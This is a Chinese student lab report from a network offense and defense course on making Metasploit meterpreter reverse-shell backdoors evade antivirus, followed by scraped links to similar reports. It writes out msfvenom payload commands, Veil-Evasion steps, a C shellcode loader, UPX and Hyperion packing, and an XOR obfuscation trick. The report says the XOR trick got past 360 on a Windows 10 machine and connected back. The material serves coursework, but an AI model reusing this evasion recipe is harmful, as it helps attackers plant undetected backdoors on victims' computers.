一、实验过程

1.编码器

(1)使用msf编码器,直接生成meterpreter可执行文件(跟Exp2中生成backdoor.exe的过程一样,生成后门文件),送到Virscan、VirusTotal网站上检测(注:VirusTotal网站实在太慢,后续均使用Virscan网站检测)

很明显,直接挂掉,毕竟直接由著名的msf生成(深信服没发现???百度那个,习惯就好)

(2)Msfvenom使用编码器

查询一下,-e后接所使用编码,-i后接对载荷的编码次数

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b  LHOST= -f exe > encode_backdoor.exe

事实证明,编码并没有作用(or没有多大作用),Anti-Virus厂商也不傻,人家研究的是编码器本身,shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,只要盯住这部分就可以了。

2.msfvenom生成如jar文件,扫描结果如下

msfvenom -p windows/meterpreter/reverse_tcp LHOST= x > 007msf_backdoor.jar

3.使用Veil-Evasion,这是一个免杀平台,与Metasploit有点类似,在Kali软件库中有,但默认没装。免杀效果比较好。

apt-get install veil 进行安装,之后 veil 命令进入veil,输入 y 继续安装,按照要求进行剩余安装(一路默认),安装时间较长

(1)安装完成后,输入 use  进入Veil-Evasion

(2) list 看一下可用载荷

(3)这里选用C语言生成payload, use c/meterpreter/rev_tcp.py

(4)设置主机IP、端口号

set LHOST 192.168.28.181

set LPORT 

(5) generate 生成payload,然后起个名字就OK了

(6)送到VirScan检测,只能说稍微好一些了(注意上图veil_backdoor.exe所在位置)

4.半手工打造恶意软件(C语言调用Shellcode)

(1)生成C语言格式的shellcode数组

msfvenom -p windows/meterpreter/reverse_tcp LHOST= -f c

(2)利用上面的数组编写一个C程序, gedit 编辑一个文件,复制粘贴数组,并插入如下主函数,保存为 007backdoor.c 格式(注:如果之后生成的可执行文件无法运行,可能是C文件里没加头文件)

int main()
{
    void *exec = VirtualAlloc(, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, buf, sizeof buf);
    ((void(*)())exec)();
}

(3)生成可执行文件

i686-w64-mingw32-g++ 007shellcode.c -o 007shellcode.exe

(4)放到VirScan上检测一下,比veil又要好些

(5)ncat传到win7上试一下

居然可以成功回连,刚准备高兴,360没有报毒呀。。。那,不如主动扫一下吧(那就这样吧,曲终人散吧。。。)

5.加壳(将可执行程序资源压缩,压缩后的程序可以直接运行)

(1)压缩壳UPX

upx 007shellcode.exe -o 007_upx_shellcode.exe

是认真的吗?比之前还多一个。。。不如不压缩壳

(2)加密壳Hyperion(在Kali里有hyperion的实现)

cd /usr/share/windows-binaries/hyperion/

wine hyperion.exe -v ~/007shellcode.exe 007_hype_backdoor.exe

更多。。。算了,就不放win7上检测了

6.shellcode变形实现恶意代码免杀

参考各种博客,说是可以利用异或或者逆转shellcode数组方法进行免杀(提前编好一段程序将数组逆转或者利用固定16进制数异或,得到的数组放在.cpp文件中【只要在调用该数组前,再逆转回来或者异或回来,就可实现免杀】,编译、链接生成.exe文件)

然而我已经将奇偶异或和逆转放在一起配合使用,还是被360查杀。

直接在数组中添加或减少16进制数(在不同的地方进行了不少次),还是会被检测到。(已经把攻击的shellcode破坏了,还能被认为是木马?)

后来看到FreeBuf上的一篇文章说是异或 'x' ,试了一下,居然可以。。。(为啥异或 0x07 类似形式的16进制数行不通,非要是字符啊,本质应该是一样的呀)

可以回连成功

放到VirScan上检测,2/49,总算降下来了

7.用另一电脑实测,在杀软开启的情况下,可运行并回连成功

修改本机Kali的IP为桥接模式下的IP,msfvenom半手工生成shellcode,与'x'异或后,与主函数一起生成.cpp文件,编译链接成.exe文件,传到另一台电脑上,运行后回连成功

(另一台电脑为win10系统,装有360安全卫士[版本号:11.5.0.2001])

二、基础问题回答

1.杀软是如何检测出恶意代码的?

  [1].基于特征:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。

  [2].基于行为:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。

2.免杀是做什么?

  它指的是一种能使病毒木马免于被杀毒软件查杀的技术。

3.免杀的基本方法有哪些?

  [1].加冷门壳(伪装壳,把一种壳伪装成其他壳,干扰杀毒软件正常的检测)

  [2].加壳改壳(将一个木马文件加上upx壳或者其它壳后用lordpe将文件入口点加1,然后将区段字符全部去掉,然后用od打开免杀的木马在入口上下100字符内修改一些代码让杀毒软件查不出来是什么壳就不知道怎么脱就可以实现免杀的目的)

  [3].加花指令(通过添加加花指令{一些垃圾指令,类型加1减1之类的无用语句}让杀毒软件检测不到特征码,干扰杀毒软件正常的检测)

  [4].改程序入口点

三、实践总结与体会(开启杀软能绝对防止电脑中恶意代码吗?)

本次实验基本上将上次实践内容的“特殊”推广到了“一般”,在杀软开启的情况下,依旧可以成功运行后门,获得权限。

通过不同方法的构造、编码、实验,居然真的能绕过杀毒软件,终于体会到了“杀软不是万能的”这句话的含义,显然,开启杀软根本不可能绝对防止电脑中恶意代码。

安全形势是真的严峻,期待后续实验!

Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  2. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  3. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  5. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  6. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  7. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  8. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  9. 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...

  10. 2018-2019-2 网络对抗技术 20165336 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165336 Exp3 免杀原理与实践 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 根据计算机病毒课程知道了每个病毒都有其对应的特征码,杀软是根据这 ...

随机推荐

  1. typescript中类的继承

    typescript中类的继承用到的是:extends和super 先看一下typescript中类的写法: class Demo{ //类的属性 name:string; age:number; / ...

  2. Python 爬虫基础Selenium

    https://blog.csdn.net/weixin_36279318/article/details/79475388

  3. golang 日期时间处理

    package main import ( "fmt" "time" ) func main() { fmt.Println(time.Now()) //显示时 ...

  4. background问题

    1.如果是小图的背景图 background: url("@{images-dir}/homepage/our_pro_2x.png") no-repeat 0 0; backgr ...

  5. Python异常处理总结

    一.何谓异常处理 在我们调试程序时,经常不可避免地出现意料之外的情况,导致程序不得不停止运行,然后提示大堆提示信息,大多是这种情况都是由异常引起的.异常的出现一方面是因为写代码时粗心导致的语法错误,这 ...

  6. 类StringBuilder

    StringBuilder概述 因为字符串的底层是一个被final修饰的数组,不能改变,是一个常量.所以每当进行字符串拼接时,总是会在内存中创建一个新的对象.由此可知,如果对字符串进行拼接操作,每次拼 ...

  7. Centos7 启动指定docker容器报错

    今天做docker实验时,把docker镜像pull下后,启动报如下错误: 错误信息:WARNING: IPv4 forwarding is disabled. Networking will not ...

  8. XAMPP支持多PHP版本

    在使用xampp进行开发的时候,我们都知道它只能支持一个PHP版本不能像PHPstudy那样方便进行不同版本的切换操作.因此我们手动的对于xampp进行改造一下,使其支持其他PHP版本 1. 从官网上 ...

  9. 解决SecureCRT无法连接虚拟机的问题

  10. 失去焦点布局在ios12-微信6.7.0版本以上不回滚的解决方案

    微信页面input获取焦点,布局上移,失去焦点布局在ios12-微信6.7.0版本以上不回滚的解决方案: setTimeout(function(){ let scrollHeight = docum ...